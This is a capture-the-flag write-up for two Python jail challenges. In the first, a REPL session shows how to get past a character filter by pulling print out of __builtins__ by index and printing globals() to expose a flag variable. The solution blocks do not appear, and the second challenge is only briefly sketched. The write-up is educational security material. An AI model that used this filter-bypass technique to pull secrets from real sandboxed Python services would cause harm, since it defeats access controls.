Censorship

Censorship

Description

by hellopir2 and flocto

I'll let you run anything on my python program as long as you don't try to print the flag or violate any of my other rules! Pesky CTFers...

Connect: nc amt.rs 31670 Downloads: main.pyarrow-up-right

Analysis

Program only allows ascii characters.code = ascii(input("Give code: "))

Filter is flag, e, t and \ (to filter non ascii).if "flag" in code or "e" in code or "t" in code or "\\" in code:

We need to somehow get flag, since it's defined we can get it from locals() or globals().

The problem is exec, because to get output we need something like print(locals()), but t is filtered and hence payload doesnt work.

➜ python
Python 3.9.5 (tags/v3.9.5:0a7dcbd, May  3 2021, 17:27:52) [MSC v.1928 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> from flag import flag
>>> _ = flag
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'flag': 'fakeCTF{fake_flag}', '_': 'fakeCTF{fake_flag}'}
>>> dir()
['_', '__annotations__', '__builtins__', '__doc__', '__loader__', '__name__', '__package__', '__spec__', 'flag']
>>> globals()[dir()[2]]
<module 'builtins' (built-in)>
>>> globals()[dir()[2]].__dir__()[40]
'print'
>>> vars(globals()[dir()[2]])
... # Outputs {function_name: function} Dictinary
>>> vars(globals()[dir()[2]])[globals()[dir()[2]].__dir__()[40]]
<built-in function print>
>>> vars(globals()[dir()[2]])[globals()[dir()[2]].__dir__()[40]](globals())
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'flag': 'fakeCTF{fake_flag}', '_': 'fakeCTF{fake_flag}'}

In short payload calls __builtins__ as a dict and we access print function from __dir__ (since t is filtered) and finally pass globals() to print.

Solution

circle-check
circle-info

printfunction on server was located at index 42

Censorship Lite

by hellopir2 and flocto

There was clearly not enough censorship last time. This time it's lite™️. I'm afraid now you'll never get in to my system! Unfortunate for those pesky CTFers. Better social engineer an admin for the flag!!!!

nc amt.rs 31671

Downloads: main.pyarrow-up-right

Analysis

Code:

In this challenge we are restricted to numbers, chars: [l, i, t, e] and double quotes ".

First I replicated challange with more verbosity and started testing:

We are restricted to most functions and the only (useful) function I found to work is vars().

Solution

circle-check
circle-info

builtinsfunction on server was located at index ord('A')-ord('G') => -6

Last updated